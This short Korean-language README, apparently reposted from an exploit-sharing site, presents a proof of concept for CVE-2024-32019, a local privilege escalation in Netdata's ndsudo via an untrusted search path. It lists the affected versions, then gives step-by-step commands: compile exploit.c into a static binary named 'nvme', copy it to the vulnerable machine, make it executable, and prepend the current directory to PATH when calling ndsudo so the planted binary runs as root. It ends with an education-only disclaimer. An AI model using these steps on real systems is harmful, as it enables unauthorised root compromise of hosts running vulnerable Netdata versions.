⚠️ CVE-2024-32019 - PoC

📌 영향을 받는 버전

• >= v1.45.0, < v1.45.3
• >= v1.44.0-60, < v1.45.0-169

🛠️ 개념 증명

CVE-2024-32019 — ndsudo의 신뢰할 수 없는 검색 경로를 통한 로컬 권한 상승

🔧 익스플로잇 컴파일

x86_64-linux-gnu-gcc -o nvme exploit.c -static

📤 대상 머신에 배포

1. 컴파일된 바이너리를 취약한 머신으로 전송하세요.

2. 실행 가능하게 만드세요:

   root@kitploit:~

   chmod +x nvme
   

3. PATH 조작을 통해 취약한 바이너리를 익스플로잇하세요 (바이너리를 업로드한 동일한 경로 사용):

   root@kitploit:~

   PATH=$(pwd):$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
   

🔍 참고 자료

• Netdata 보안 권고 - GHSA-pmhq-4cxq-wj93

⚖️ 면책 조항 및 조건

이 개념 증명(PoC) 코드는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.

• 어떠한 허가도 수정, 재배포 또는 다른 목적으로 이 코드를 사용하는 것에 대해 부여되지 않습니다.
• 무단 사용 또는 수정은 불법적이고 비윤리적일 수 있습니다.
• 저자는 오용이나 손해에 대해 책임을 지지 않습니다.